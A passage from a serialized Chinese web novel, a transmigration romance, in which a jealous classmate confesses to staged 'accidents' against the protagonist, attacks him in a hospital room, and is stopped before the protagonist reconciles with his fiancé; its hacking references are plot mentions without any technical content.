门不知什么时候打开了,一个幽灵般的黑影站在门口。对方鬼魅一样全无声息,身姿却挺拔,如秋夜里的松。 入侵者面目不清,唯独一双眼睛映着电脑屏幕的亮光,瞬也不瞬地盯着对方。 无声的对峙。 桌旁的人忽然长长地吸了口气,眼神变得玩味。 “是你。”他意味深长,“阁下没什么资格取笑我吧?无论我们哪一个被发现在这,都一样说不通。” 影子一般的入侵者勾唇笑了。 “我必须承认,我们的某些特质很像。”入侵者说,“林抚。” 林抚扶了扶眼镜,冷冷打量着入侵者。 “你在干什么?”入侵者对电脑扬了扬下巴。 “无可奉告。” “你不说,我替你说。”入侵者懒洋洋道,“你可不是那种偷分数的贼,你把教务系统翻了个底朝天,是为了调查,为了求证一些事情。” 林抚微微动容:“为什么这么说?” 入侵者呵笑:“你这么做是为了虞听。” 林抚瞳孔不可察地一震。他重新审视起入侵者来。 “告诉我,你又为什么来这里。”他道。 “我很高兴你没否认。”入侵者自顾自地接着说,“林同学,从前我觉得你们都是一片痴心妄想,不过如果真有那么一天,虞听要选择一个……或许选择你会让我更宽慰一些。” 林抚皱眉:“什么?” “所以我来这找你。”入侵者悠悠地说,刚才语气中那一瞬而逝的哀伤仿佛只是虚幻,“我们开门见山地说吧,你应该也发现,虞听遇到了太多不能用巧合来形容的事。” 林抚眼神一沉:“的确。现在想来,学校第一次传出他在马术课上选到一匹发狂的赛马,之后接二连三发生了太多奇怪事……或许就是从那时开始的。” 入侵者:“如果这一切都是人为,那么那个人的心病已经病入膏肓了。只要不得逞,他就会一直寻找机会,决不罢休。” “我一直没放弃调查马术课的事,可不久前我意识到,我的调查方向似乎错了。我一直纠结于那匹马为什么会突然发狂……”林抚喃喃,“可那真的重要吗?任何人都可以接近学校的马场,这种调查方式就是大海捞针。直到我想到一个问题。虞听怎么会选择马术课?” “他的课程被人做了手脚?”入侵者问。 林抚严肃地看着入侵者:“我问了学业部的人,果然我的猜测是对的,虞听因为课程无缘无故被改动的事前去咨询过,可当时大家都以为是系统故障。” “这就是你全部的收获?” “只要我从程序中调取出是谁做了篡改,主谋就一定能被我揪出来。”林抚听出入侵者的轻蔑,冷笑,“阁下站着说话当然不腰疼。” “只怕你还漏了一些细节。” “愿意洗耳恭听。” “以你的本事,调查校园论坛应该不算难。”入侵者扬唇,“敢问林同学,知不知道某个在‘暗区’发帖,炫耀自己珍藏了虞听和你并列一等奖的成绩单的那个傻瓜是谁?” 林抚的嘴角猝然抽动,背肌霎时紧绷。 “我没兴趣理会恶作剧。”他声音干涩。 “哦?恶作剧么。”入侵者讥笑,“要是扒下那个人的马甲,让大家看到这么一个争强好胜的,幼稚的可笑鬼,这才算得上恶作剧吧。” 电脑屏幕程序波浪般滚动,冷光打在林抚半边侧脸上,高挺鼻梁投下一片蓝灰色的阴影,青年眼神锐利,像一头应战的雄狮。 “别打这种没用的嘴仗了。”林抚嗤笑,“恐怕你有所不知,暗区使用的是如今奥林的最先进的网络保护公司也研发不出的特殊保护墙,我曾经闲来无事试图破解过。” “破解学院传说中坚不可摧的教务系统用了我十二个小时,而暗区……我花了整整十五天,进展居然为零。没错,一个鱼龙混杂的论坛,上面充斥着毫无营养的垃圾信息,可守护着这片废土的竟然是高级黑客也攻不破的网络堡垒。” 他哼笑一声:“所以别虚张声势了。不管是想打压我还是想诈我点什么,我都劝你死了这条心。” 出人意料的,林抚看见入侵者扬唇微笑起来。 “这四年我还是第一次听到有人当面这么盛赞我。”他轻轻往后靠在墙上,抱着胳膊。 林抚愕然:“当面,盛赞?” “不逗你了,我的学弟。”入侵者淡淡道,“我就是‘暗区’的创始人兼管理员。封禁你的帖子非常抱歉,我决意不干扰暗区的野蛮生长,但你的挑衅触了我的逆鳞。” 林抚终于用悚然的目光盯着入侵者,仿佛见到真的鬼魅。 “你一直,”他难以置信,“都在背后看着……” “看看电脑屏幕吧,”入侵者似笑非笑,“问题的答案还是由你自己揭晓比较好,我就不剥夺你的这份意义了。” 林抚如梦初醒般转身,屏幕上滚动的代码早就停止了,他扑到电脑前,盯着那上面的文字,眼球来回转动,反复读了两三遍,唇色逐渐发白。 “居然,真的是——”他嗓音沙哑。 “好了,闲聊到此为止。”入侵者的声音变远了,“恕我先行一步。” 林抚倏地扭过头。 入侵者的身影消失了,他甚至没来得及看清对方何时离去,办公室的门嘎吱嘎吱地微微晃动着,只留下一阵微弱的风。 * 几乎同一时间。 “小虞少爷,”冰冷的走廊里,微微失真的男声隐约振动空气,“调查结果您收到了吗?除了我的那份,还有帕雷秘书的。” 雷蒙德私立医院,特级加护病房。虞听弯腰穿过拉起的警戒线,向走廊尽头走去,一盏盏声控灯在他面前亮起,又在他修长的背影后次第熄灭。 虞听终于站定在一间病房门口。 他没说话,抬头看着房门上【索恩】的标示牌,默然失笑。 距离他离开这不过半年多的时间,下一次踏进这里的缘由居然可以如此巧合,巧合到讽刺。 电话里安珀罗斯急切道:“小虞少爷,这么晚了,我建议您现在先回家。外面很危险,您也知道,一切都是因为那个……” “我知道。”虞听握住门把手下压,“正因为如此,我才必须要来。” 他无视安珀罗斯的抗议,挂断电话,推开病房门。 病房里只开着一盏床头小夜灯。满地的监护仪器包围着病床,各种金属线结成一张冰凉的蛛网,蛛丝汇聚在同一个青年身上,只见他躺在病床中间,呼吸面罩规律地蒙上一层白雾。 一切都与虞听刚在这个世界睁开双眼时一模一样,他看着昏迷的尤里乌斯,只感觉自己像个出窍的灵魂。 刚来到这个世界时,虞听时不时会觉得自己仿佛根本不属于这里。 故地重游,这种恍惚感也卷土重来。 他缓缓走上前。 青年那一头傲然的金发不见了,头上缠着木乃伊一样的绷带和固定装置,双目阖拢,脸色白得可怖。 空气中消毒水的味道弄到刺鼻。虞听注视着病床上的人,慢慢伸出手。 如果此刻尤里乌斯意识清醒,他或许会以为虞听会温柔地抚摸他的脸,或者弯腰献上一个他梦寐以求的吻。青年漆黑的眸子沉静、平和,眸光中甚至隐隐闪烁着一丝他永远也看不懂的悲悯。 但他纤长的指尖动了动,覆上了床边小夜灯的开关。 啪的一声,虞听关掉夜灯,病房内瞬间陷入一片黑暗。 浓稠如墨的黑色里,虞听闭上眼睛。 滴滴答答、此起彼伏的那些医疗仪器的监测声,每一个他都再熟悉不过,正因为熟悉,所以能够完全过滤掉它们的杂音。 抛去设备的运作声,房间里本该静得连生的气息都不存在。 可现在,他听到了第三个人的呼吸。 “出来吧。”虞听低声说。 寒光飞过,虞听头微微一偏,锋利的影贴着他的鬓发嗖地擦过,当啷一声! 一把水果刀掉在地面,刀刃上反着窗外洒下的月辉。 虞听垂眸望着刀刃,笑了。他再次按下小夜灯的开光。 鹅黄色的灯光照亮了病床的另一侧。 意料之内的,虞听看见一张与自己有两三分相似的脸,对方握着一把手术刀,气喘吁吁地瞪着虞听,微微扭曲的脸上怒极反笑。 “你还是来了。”对方说。 虞听眯起眼睛。 “是啊,”他说,“你想要我来,所以我就来了,陆月章。”—— 作者有话说:彻底不装了的陆月章和(另一种意义上)彻底不装了的烟熏哥(? 进入完结倒计时啦~预收《买凶宅赠男鬼老攻》正在存稿中,感兴趣的宝宝们点个收藏支持一下吧! 第42章 第 42 章 知道这个世界的异常的人…… 陆月章咧嘴笑了。 “学长, ”他故意把声音弄得蜜一样甜腻,“你怎么知道的?” 虞听定定地看着他。 “舞台剧事故之后,你一直没来上学。”虞听说, “听其他特招生说你被吓破了胆,也有人说你也受伤了……无论哪一种都很有可信度, 毕竟你一直以胆小的形象示人,那天你也确实和我,和尤里乌斯都处在吊灯正下方。” “他们都猜错了。其实你比谁都清楚, 无论得没得手, 奥林德警方一定会调查个水落石出。这次不再是学院里的小孩子过家家, 大家族的继承人非死即伤, 警察可不是吃干饭的……我得说一句, 你很有破釜沉舟的胆气。” 陆月章笑意加深。他微微转过脸来, 借着灯光,虞听得以看见陆月章脸侧贴着一大块纱布,但那还不足以掩盖纱布边缘露出的一点猩红的、尚未完全结痂的伤口。 “谢谢学长夸奖。”陆月章柔柔地说。 虞听觑起眼。 “哦……”他微微感叹, “原来是抱着同归于尽的决心。我要对你刮目相看了。” 陆月章还是笑。那道从嘴角斜向上延伸的伤口像小丑鲜红的嘴角, 陆月章笑起来脸上的肌肉便会牵动,那伤口也遭受拉扯, 可他仿佛不担心毁容,也根本不怕痛。 他用没握刀的手摸了摸纱布:“那些人猜的不完全错。我的确受伤了,但这都在我的预料之内。要是死的只有学长你和尤里乌斯两个,而我毫发无损, 我岂不是也有嫌疑?” “水晶灯落下来的时候我想过, 就算真的有什么误差,连我也成了灯下鬼,那也值了。我一条贱命, 拖着你们两个下地狱,赚得很呐。” 虞听垂眼看向病床上的尤里乌斯。陆月章的眼神也跟着看向他。 “但我还是太笨了。”他遗憾地撇撇嘴,“尤里乌斯和燕寻两个人拼了命救下你,我连你的一根头发丝都没伤着。我没想到咱们这位尊敬的校篮球队长反应如此惊人,身体素质也是……我太笨了,最好的一次机会,你们两个却谁也没死掉。” “费尽心机,真是难为你了。”虞听看着尤里乌斯,道,“介不介意说说你的计划?” “介意?当然不了!”陆月章像个孩子一样兴奋地耸耸肩,“学长愿意听我分享么?真是太好了!” 打开了话匣子,青年便滔滔不绝:“我拜托学院里的学长黑进教务系统,改了你的选课,学长你应该想不到吧?那时你大概以为我对你的马动了手脚,不,不……那正是害我摔下去的那匹马,我比谁都知道骑上它之前它看着有多温良无辜……哦,别问教务系统是怎么搞定的,老妖婆只知道防着学生篡改成绩,选课这种事她就没在乎过,而搞定一个学校里暗恋你的学长更是不要太简单,谁能拒绝一个和白月光长相相似的人温声细语地恳求自己呢。” “但你竟然能驯服烈马,真是让人吃惊。”陆月章夸张地叹气,“我想过破你的脏水,激怒你,让你失态出丑,可你竟然真的忍得住,尤里乌斯的成人礼上那次好好先生当得很痛快吧?希莱尔都为你撑腰,你说他有没有趁你走后收集你剪掉的头发,放在枕头底下珍藏?” “还有修学旅行……看你的眼神,学长你不会知道了吧?”陆月章又故作惊讶,“是啊,那就是我!我想过让你从楼梯上摔下来折断颈椎,可你动作真快,后来我又想顺势把希莱尔引到悬崖边……你那时为什么不报警呢?为什么不揭发我?” 虞听平静地望向陆月章。 “一旦那么做,你的后半生就全毁了。”虞听说。 陆月章愣了一下,疯子一样咯咯地笑起来。 “你在说什么呀学长?”陆月章擦着眼角生理性的泪水,“只是我的后半生吗?我的人生早就毁了,在遇见你的这一天就全毁了!” 陆月章手舞足蹈地挥着刀,刀尖几次擦过尤里乌斯薄薄的呼吸面罩: “我还没说完呢!记得拉法耶特公爵的儿子吗?他的确想过贿赂竞争对手和评审,可你觉得区区一个落魄公爵有什么胆量公然和林家、虞家作对?还是我,是我假借他的名义联络校外的混混,那些家伙和我一样从小生活在贫民区,三张票子加两瓶伏特加,就能煽动这群蠢猪杀人!” 他意犹未尽地闭上眼回味:“我没指望他们真能弄死虞家的独生子,可你得承认这是个天衣无缝的计划,不是么?拉法耶特转学了,他不敢把事情闹大,因为他自己也有肮脏的秘密,而我的秘密会随着他的转学再也不被任何人发现。你们这些贵族,哪个没有秘密?你们的秘密砌在百年城堡和豪宅的砖石下,世世代代见不得光。” “至于舞台剧……一开始我太冲动了。调去场务组太明显,但给舞台设施动动手脚什么的,只需要排练结束后留下来帮着道具组干干脏活累活。”他睁开眼,微笑地看着虞听,好像又恢复了从前的陆月章那柔弱小白兔的样子,“总之学长也都知道了,应该不需要我再复盘了吧?” 他慷慨激昂,嗓子都哑了,虞听眼里还是毫无波澜。 “你很恨尤里乌斯么?”虞听说,“你觉得因为你长相有那么一些像我,所以一切不行的根源都来自于我,我可以理解。但是为什么要害他?” “害他?”陆月章哈的一声笑,“这是他的报应!” 他把手术刀对准尤里乌斯的咽喉:“你知道他对我做了什么吗?他把自己当成至尊无上的皇帝,让我做他随意亵玩的娈宠!——” 那把断头台一样悬在脖子上方的刀渐渐开始颤抖。陆月章还在笑,面部肌肉却不受控制地抽动,连那道伤痕也像虫子一样蠕动起来。 “他让我做你的替身,我在他身下哭叫的时候,他却在享受着那种以假乱真的快.感!”他突然大吼,“不止是你,所有人都该死,他们所有人都把我当做你的替身,所有人都在榨取我的生命,就因为他们得不到你!” “因为你,林抚笑话我的蠢笨,尤里乌斯嫌弃我的自卑,希莱尔讨厌我的固执,就连燕寻,你那个未婚夫燕寻!他虚伪、刻薄、恶毒,瞧不起我的穷人出身!” “就因为和你这一丁点相像,我就得忍气吞声吗?”陆月章刀尖猛地一振,“难道我生来,就注定要屈居人下吗?!” 他大口喘着气,房间里还隐约荡着方才怒吼的回音。 虞听面无表情地看着陆月章猩红的双眼。 “你想要我们所有人都不得好死。”他的语气好像自己刚经过科学论证,得出某条严谨的结论。 “对,那又怎么了?!”陆月章咆哮,“少用你那种眼神看着我!” 虞听唇角勾起一个笑。 “哪种眼神?”他问。 陆月章的刀架起来,薄如蝉翼的利刃指向虞听的眉心:“那种看泥巴一样的眼神,看小丑的眼神……你觉得我像蚂蚱一样跳来跳去,异想天开,肖想不属于自己的东西,是么?可这些本来都是我的,所有的成就,所有的爱都是我的,是你抢走了我的一切!!” 虞听眉尖倏地蹙起。 “你在说什么?” 他问。并非听到一个走火入魔的疯子口出狂言而感到好笑的语气,而是一种深深的惊与疑。 一般人只当这是句丧心病狂的疯话。可虞听不同,他听得出弦外之音,正如一开始他就知道自己才是这个不属于这世界的杂音。 “抢走了你的一切,”虞听一字一顿,“是什么意思?” 仅仅一息之间,陆月章的神情陡然变了。 没有癫狂的大笑,没有歇斯底里的怒吼,如同人格分裂患者般,青年倏然抹去了表情,直勾勾地,意味深长地凝视着他。 “你真的听不懂这是什么意思么,”陆月章轻柔而和缓地唤道,“虞听。” 他的声音如水一般轻忽丝滑,病房内却猝然裂开一道深渊般的缝隙,空气被抽走了,虞听心猛然失重,只感觉灵魂也要被吸入那深渊里去。 “这不是你该有的命。”他听见陆月章用吟诗般飘忽的声线宣布道,“我的命被你夺走了,而你的命数,早该在那场车祸里终结掉,我说得对吗,虞听?” 虞听震惊地看着陆月章。后者微微一笑,竟放下了手术刀。 “很不可思议吧,”陆月章慢慢点头,“知道这个世界的异常的人,不止你一个。” “原本我也不知道。”他低头看着沉睡的尤里乌斯,“可某一天我忽然就‘觉醒’了,我清楚地意识到原来我生活在一个所有人的命运都被书写好了的世界,而我,一个没用的特招生,居然是这个世界的主角。” “我欣喜若狂,我这种上帝也不愿意拯救的弃儿,居然也有成为这个世界的主人的一天!可很快我发现一切都不对了,明明写好了剧本,可故事却不按照剧本上写的那样发展……” “想来想去,我发现,似乎事情是从你这个无关紧要的小角色开始改变的。你本应该像一颗野草一样枯萎在无人在意的路边,可你居然从车祸里活下来了,你一出现,所有人都被你牵着鼻子走,而我又成了黯淡无光的陆月章……仔细想想,我觉醒的那一天,也是医院宣布你苏醒的同一天。” 虞听深望着陆月章。陆月章看着尤里乌斯,脸上浮现出一种难以形容的神情,鄙夷、憎恨、嫌恶,最后一切浓烈的情绪慢慢褪色,剩下茫然无措的悲伤。 “为什么会这样呢?”他不解地呢喃,“既然我才是主角,为什么上天又让你降临在我身边?为什么偏偏只让我一个人背负这一切?” 他抬起头:“虞学长,为什么呢?” 二人久久对望。医疗器械的滴答声此刻反而浑如死亡的鼓点。 虞听闭了闭眼:“问得好。” “和你比起来,我的确太幸运了。”他顿了顿,“我本该死在一场车祸里,却又寄宿在另一个车祸后的身体中重生,一切都不真实得像一场梦,我甚至常常感觉自己是个窃走了幸福的小偷。” “这种想法,我本打算让它烂在肚子里,这辈子都不会告诉任何人,就算说出来也没有意义,毕竟无人相信……真没想到,这里居然真的有一个稍微能理解我一点的人存在,真让人庆幸。”虞听说。 那癫狂的,异常兴奋的光又开始在陆月章眼底跳跃:“你以为说出这种话就可以拉拢我了么,学长?你们这种既得利益者,道貌岸然,就连你那个未婚夫燕寻也是充满优越感的……” 他忽然激动起来:“如果不是为了你,他也不会那样羞辱我,这个狗眼看人低的王八蛋——可就算是燕寻,他也本该让我做他的未婚伴侣,他要保驾护航的人不是你,而是我!” “你到底是恨他,亦或只是恨他们没有死心塌地站在你这边?”虞听问道。 “我恨的太多了,你根本不懂!”陆月章身体痉挛般颤抖,“我恨他们对你偏心,更恨这些东西我得而复失——不,从头到尾我都未曾拥有,每天晚上我闭上眼,那些场景都历历在目,可我没法证明那些场景是真的,我没法证明!” 他握着手术刀的指尖用力到泛起青白:“所以他们必须死,还有你,所有人都得去死!” “你想报复。”虞听微微颔首,“那就来吧。” 陆月章眼里闪过一丝讶然。 虞听:“但是有一件事我不能答应。无论是尤里乌斯,还是F4中的任何人,你都不能对他们动手。” “学长,你不会是担心这些重要的‘角色’死掉,我们这个世界就会哗啦一下崩塌掉吧?” 陆月章咯咯地笑起来。而虞听沉吟片刻,摇摇头。 “他们也是无辜的。”虞听说,“如果所有人都是被编写好的角色,那他们的个性也好,做过的善事恶事也罢,不都是他们自己不能左右的么?就和你前十多年痛苦的过去一样。你不能要求别人为自己无法决定的事付出代价。” 陆月章怔怔地看了他一会儿,旋即精神失常了一样仰头大笑! “学长真是圣母心泛滥的白痴!”他的笑蜕变成狰狞的咬牙切齿,“莫非你想劝我放下屠刀立地成佛?告诉你,你的命我要定了,这些人的命我也要定了,谁也逃不过,就从你先开始!!” 隔着窄窄的单人床,陆月章纵身一扑,手术刀如离弦之箭向虞听的咽喉刺来! 虞听矮身一闪,刀刃划过一道凌厉的弧线,陆月章挥了个空,仍不死心,飞快地把刀换了个手,铆足了劲把刀对准虞听的心口扎去。 鲜血噗呲飞溅,被单和瓷白的地砖染上大片深色,如被打翻在宣纸上的墨汁,洇湿的颜色越来越深。 陆月章瞪大眼睛,后退半步,眼珠不住地震颤着,瞳孔中倒映出那把稳稳穿透皮肉的手术刀。 那把刀没有没入某个人的胸膛。一只鲜血淋漓的手被手术刀刺中,小臂上还贴着留置针,蜿蜒的血迹与细细的输液管虬结在一起,像缠绕的蛇。 陆月章嘴唇颤抖:“不可能,你……” 那只手再也支撑不住,脱力地落回床上。 尤里乌斯睁着布满血丝的双眼,碧蓝的眸子浑浊无光。氧气面罩遮住他微微扭曲的面容,他倒吸着凉气,双眸艰难转动,他先是确认地看向同样惊愕地看着自己的虞听,而后又看向另一边的陆月章。 面罩上的白雾厚了又薄,尤里乌斯痛苦地喘息着,声音像乌鸦嘶哑的悲鸣。 “别,”尤里乌斯断断续续道,“伤害,他……” 陆月章战栗起来,他肩膀起伏,单薄的身体里好像有一头野兽横冲直撞,要冲破他的身体。 “你还在护着他,”陆月章眼里几乎迸出滔天的仇恨,“竟然在这种关头醒过来坏了我的好事——你这个烂人,竟然舍命护着他!你知道他是谁吗?你知道他是谁吗?!” 他又哭又笑,声音凄厉:“他他妈的不是你的小听哥,你也不是他的尤尔!你的青梅竹马死了,他才是那个鸠占鹊巢的冒牌货,我不是冒牌货!我不是!!” 虞听沉默了。尤里乌斯再也没力气说话,却闭上眼睛,肉眼可见地颤抖起来。他的眼角干涩,没有一滴眼泪,可他们都知道陆月章的话尤里乌斯全部听懂了,或许在两人谁都没察觉到的时候尤里乌斯早就醒了过来,现在陆月章戳破了他最后一个妄想的泡沫,真相是一把快刀,远比任何伤口都撕心裂肺。 “我要你们死!”他陆月章嘶力竭地哭吼,“跟我到地狱里,为我陪葬!” 他抓起床头金属托盘里的针管扬手挥去,尖锐针头刀一般斩下,虞听面色一变: “住手!” 电光火石间针头忽然偏移了,偏移的角度不足分毫,虞听吃惊地抬起头,看见一只大手从陆月章身后伸出,铁钳般牢牢攥住了陆月章的腕。陆月章吃痛地闷哼,针管脱了手,啪地掉在染血的地面。 “你动他一下试试。”一个声音说,“就算是十八层地狱,今天我也要带我的爱人回家。” 大手松开,陆月章终于跌坐在地上,嗬嗬地喘着气,表情放空,如断了线的木偶。 虞听瞳孔急缩,看着房间另一边打开的暗门。 他忘了,这种顶级的看护病房,即便特意嘱咐遣散所有人,也会在房间里留有一扇专供亲人或护工探视的小门。 阴冷黑暗的深处,燕寻走出来,他一身笔挺干练的军装,深邃眉眼胜似不动的山。 “闹剧该结束了。”燕寻说。 陆月章浑身开始冷得打摆子一般战栗,他空洞地盯着地上的血迹,忽的感觉脸颊上一阵温热,他怔怔地抬手一抹,指尖也是温热的,眼眶却酸胀干涩,他分不清那是脸上伤疤撕裂的血,还是自己流下的泪。 “事到如今你自己应该明白,今晚一过,警方会发现你就是幕后主使。”燕寻睥睨着他,“你会被带走,而赛罗米尔也会把开除的通知书送到你手中。” “然而你等不到明天清晨的太阳了。我已经给林抚打过电话,要不了多久警车就会停在雷蒙德住院部楼下。收收你鳄鱼的眼泪吧。” 陆月章置若罔闻,瘫坐在地上,脊椎佝偻着,仿佛一息之间他变了,皮囊还是个十八岁的少年,内里却倏然腐烂成一具枯骨。 燕寻皱眉盯着那张与虞听神似的脸,想要说些什么。 “燕寻。”虞听沙哑地唤道。 燕寻一愣,转过头。 虞听慢慢走到燕寻面前。 他们离得很近,燕寻那冷酷的神色顿时烟消云散,他不自然地眨眨眼皮,挪开眼,可虞听那么专注地盯着他,他不得不佯装镇定,抿唇望着虞听的眼。 月光从窗外洒进来,虞听的脸毫无血色,却也有种皎洁的、无暇的白,莹莹仿佛生辉。 “告诉林抚,让警察晚点再把人带走。”虞听说,“我想和陆月章说几句话。”—— 作者有话说:对于陆来说,最深重的惩罚可能就是即便到了最后关头,也没有人会站在他这一边吧。不过对于这种角色而言,他们的可悲又何尝不是因为他们从没有想过,这一切悲剧恰恰都是源于自己那颗被扭曲的心呢? 第43章 第 43 章 原来那只是……怜悯的眼…… 陆月章抬起头。他望着虞听的眼睛像无底洞。 “你还想说什么?”他声音干涩。 虞听也看着他, 眸中如平湖无波。 “你觉得这一切都是我的错。”虞听淡声问,“月章,你过往的种种, 真的都源自于我么?” 陆月章被他问得一怔。 “你出身贫苦人家,在赛罗米尔被贵族子弟瞧不起, 甚至从前还有希莱尔那样的家伙找你的麻烦。”虞听面无表情,“可你忘了,有太多和你一样穷困潦倒的孩子甚至没有机会做赛罗米尔的特招生。你恨我们生来就天差地别, 可命运给了你那么多次机会, 你却把它们视为对你尊严的践踏。” “你仇恨那些看不起你的纨绔子弟, 可那之后呢?这点仇恨有没有为你带来哪怕一点自救的动力?纨绔子弟们可以躺在家族的功劳簿上混吃等死, 你却不能, 但你能飞得更远更高, 赛罗米尔的特招生即便出身再卑微也可以在奥林德立足。” “无论是谁,哪怕是蛮横如希莱尔这样的家伙,他们欺负了你, 只要你愿意求助, 我都愿意帮你讨回公道的。”虞听眼里流露出一丝悲哀,“可你陷在仇恨里太深了, 你把整个世界都当成了假想敌,月章。” 陆月章呆滞地看着虞听,忽而嘴角抽动,嗬嗬地抽着气, 哑笑起来。 “你这个说大话的假圣人, ”他边笑边嘲讽,“你,你怎么可能愿意帮我, 拯救我……” 他笑着笑着低头,身子佝偻起来,捂着心口,手指将衣服揪出层层褶皱,半长的头发散落,遮住他的脸,看不见表情。 “原来是这样。”陆月章的笑声里染上了哽咽,“我以为你看我的眼神是在说我不配……原来那只是,怜悯的眼神啊。原来你只是在怜悯我啊,学长。” 虞听无言地看了陆月章一会儿。 “走吧。”他说。 遥远的警笛声从窗外掠过。陆月章在众人注视下摇摇晃晃起身,向床头走去,燕寻刚想动,虞听抬手拦住,小幅摇摇头。 陆月章在床边站定。 尤里乌斯看起来虚弱极了,却瞪大眼睛,呼吸面罩下的嘴唇微张,仿佛还要说什么。 “疼就对了。”陆月章对他弯了弯唇,“现在我们两清。还有,我要是你,就买一条新手帕赔给虞学长。” 他按下床头铃,没过一会儿护士推门而入,看见屋里的景象一个冷颤,失声尖叫:“这,这?!——” 陆月章转身,他脚步沉重得仿佛戴着无形的镣铐,与护士擦肩而过,走出病房。燕寻与虞听目视着他,这次他们谁都没有动,他们都知道,陆月章这次不会逃走。 越来越多医护人员涌进来,最开始那个目瞪口呆的护士也反应过来,跨过地上凶案现场似的血迹:“快!” 一只大手握住虞听的肩膀,虞听轻轻一愣,这才发现自己不知何时也已经在细微地颤抖。 燕寻垂眼看着他。 “留在这会耽误他们治疗尤里乌斯·索恩,”他说,“虞听,跟我回家。” * 通往地下停车场的电梯打开,燕寻与虞听一前一后走出,老管家正在与佣人核对明天的采买清单,看见两个人,尤其是燕寻,不由得一愣,总感觉这场景似曾相识。 佣人们慌忙鞠躬:“少——” 燕寻目不斜视地挥了挥,另一手抓过虞听的手腕,后者惊愕,随即挣扎:“喂!” 燕寻置若罔闻,拉着人的手用力收紧。好巧不巧,安珀罗斯提着脏衣篮子路过,见是燕寻,又惊又喜又疑:“少爷!你们怎么牵着手,是不是和好了——” “滚。”燕寻言简意赅。 “Yes sir!” 安珀罗斯敬了个礼,丝滑地一百八十度转身离开。虞听像离家出走被主人抓到的猫一样,被燕寻拖进主卧,一想到上次这里发生的事虞听更是炸毛,刚关门就使劲挣开: “燕寻!在伊斯特芬你就学会了用蛮力?” 燕寻转过身看着他。虞听气鼓鼓地与燕寻对视几秒,慢慢变成一只瘪了的气球,悻悻地在沙发上坐下来。 这是虞听今晚第一次沉下心来认真打量他。不知道是不是这身军装的缘故,他觉得燕寻哪里变了,凌厉的更加沉默,热烈的却前所未有地暗涌。 他开始坐立难安,搭在沙发扶手上的那只手默默收紧。 “你从军校出来了啊。”虞听说。 说完他立刻想咬舌自尽。这没话找话的水平真是灾难,不,堪比地狱级。 燕寻靠着衣帽间的门框,凝望着他。 “我都知道了。”燕寻说。 虞听:“嗯,帕雷秘书是你拜托的吧,原本我让我家的人和安珀罗斯都调查过,再加上帕雷那边搜集到的,才确信了自己对陆月章的猜测……” 燕寻语气加重:“我说,我全都知道了。” 虞听打了个寒颤,闭上眼睛。 是啊。他怎么会到现在还不敢去相信,燕寻一定听到了他和陆月章的全部对话。 燕寻全知道了,有关这个世界的一切,有关“虞听”的真相。 他久久没有睁眼,单薄的眼皮轻微发抖。 “想问什么就问吧。”他哽了哽,苦涩地一笑,“不管你相信与否……我都会回答你。” 他睁眼,漆黑的瞳孔黯淡无光,望着地面。 “只有一点,燕少爷,”虞听挂在嘴角的笑意也来到破碎的边缘,“希望你明白,我不是个欺世盗名的骗子。” 没有声音。一秒一秒过去,虞听忽然感觉这个世界的时间好漫长,寂静的空气里湿冷粘稠,比死亡还要煎熬。 良久。 虞听看见视线中那双鞋尖动了动。 “为什么不回我消息。”燕寻说。 虞听倏地一掀眼帘,满脸怔忪。 “什——” “为什么不回我消息。”燕寻从口袋里拿出手机,亮起屏幕,“我每天问候你早安晚安,还提醒你别忘了喝药,出门晒太阳。你不回我的时候在想谁?” 虞听眉尖一蹙:“燕寻……” 燕寻一脸理所应当:“你说你会回答的。” “我是说过,不,我没说是——”虞听舔了舔干涩的唇,“你脑子有病吗?燕少爷!求求你搞清楚状况!你应该,应该——” 燕寻打断他:“应该什么?” 虞听话音戛然而止。 燕寻上前一步。 “应该问‘你’是谁,你是怎么来到这里的,接近我是不是你处心积虑的谋划?” 他不以为然地笑笑,“我无所谓。我只知道再晚一步我的未婚夫说不定就和哪个糟糕的男人跑了,我要留住他,一条信息不够就一百条,要是这些都不够,那就证明是时候趁着天黑翻墙了。” 燕寻在沙发前蹲下来,仰起头。虞听看着他的脸,随着他的动作也低下头,二人脸对着脸,燕寻一手搭上他的膝,替他将碎发拂开,宽大手掌包住虞听咬紧牙关的侧脸。 “你害惨我了,小听。”燕寻温柔地道,“遇到你之后我才发现自己一无所有,追求你的方式与一个穷光蛋没有任何区别。我该拿你怎么办才好呢。” 虞听的手深深抠紧沙发扶手。 “就是因为这样,”他鼻翼微微翕动,嗓子里像掺了把沙,“我才不知道该不该答应你,燕寻。这一切对你太沉重,太不公平……” “不公平吗?”燕寻微微地装出惊讶,“你指哪部分,是某个‘上帝’让我生在这个如此富足的家庭,还是让我娶到一个只会斥责我越界的老婆?” 虞听红着眼睛,噗嗤一下乐了。燕寻也跟着笑,起身在虞听旁边紧挨着他坐下。 “越界了吗?”燕寻搂住他,歪头去看虞听被睫羽遮住的眼睛。 “不越界。”虞听道。 燕寻凑近了些:“那喜欢吗?” 虞听小声地嘀咕了句什么。 燕寻把人搂紧:“嗯?” 虞听说:“喜欢。” 燕寻低下头,二人额头相抵。他能感受到虞听克制不住的细微颤抖,和猫咪毛发一样柔软的发丝。 “不过有一件事我确实想问。”燕寻道。 虞听忍不住瘪嘴乜着他:“你害得我白感动了!” “就一件,真的有点在意。” 虞听叹了口气。上辈子的糟心事他不愿回忆,可燕寻真的好奇,他就愿意说。 燕寻眨眨眼睛。青年欲言又止,仿佛有什么难言之隐。 “你到底多大年纪?”他问。 “……嗯?”虞听有点恼,“我又不是七老八十!” 燕寻悻悻然:“我一直以为我比你年长的。难道其实你才是那个……” 虞听看了他一会儿,拉着长音“哦”了一声。 “原来你还有这方面的执念啊。”虞听恍然大悟,“在年龄这种事上也有好胜心么,燕少爷。” “不是好胜心,”燕寻严肃纠正,“这关系到我们以什么样的恋人模式自居!” 虞听忍俊不禁,燕寻固执地盯着他,神情竟微妙地紧张。 笑够了,虞听方才抬起头,那漆黑眸子里含着狡黠的笑意,看得燕寻无端一愣。 “是比你虚长一点年岁。”虞听笑得别有用意,“要不要,叫声哥哥来听听?” 燕寻搂着他的手一僵:“叫什么?” “或者我叫你弟弟也行,”虞听一本正经地看着燕寻越来越黑的脸,“放心,当着伯父伯母的面我不会叫的,给你留点面子……唔!” 燕寻忍无可忍,扳过虞听的脸深吻下去。虞听顿时没声了,条件反射地闭上眼睛,男人毫不客气地撬开他牙关,倾身将虞听压在并不算宽敞的沙发上,虞听不得不攀住燕寻宽厚的肩。 卧房内空气急速升温,燕寻激烈地吻他,虞听手忙脚乱地承受,在吻的间隙无力地喘/.息:“你,哪有人说一句就破防……!” “什么?”燕寻含着他的舌尖含混,“想现在去床?” 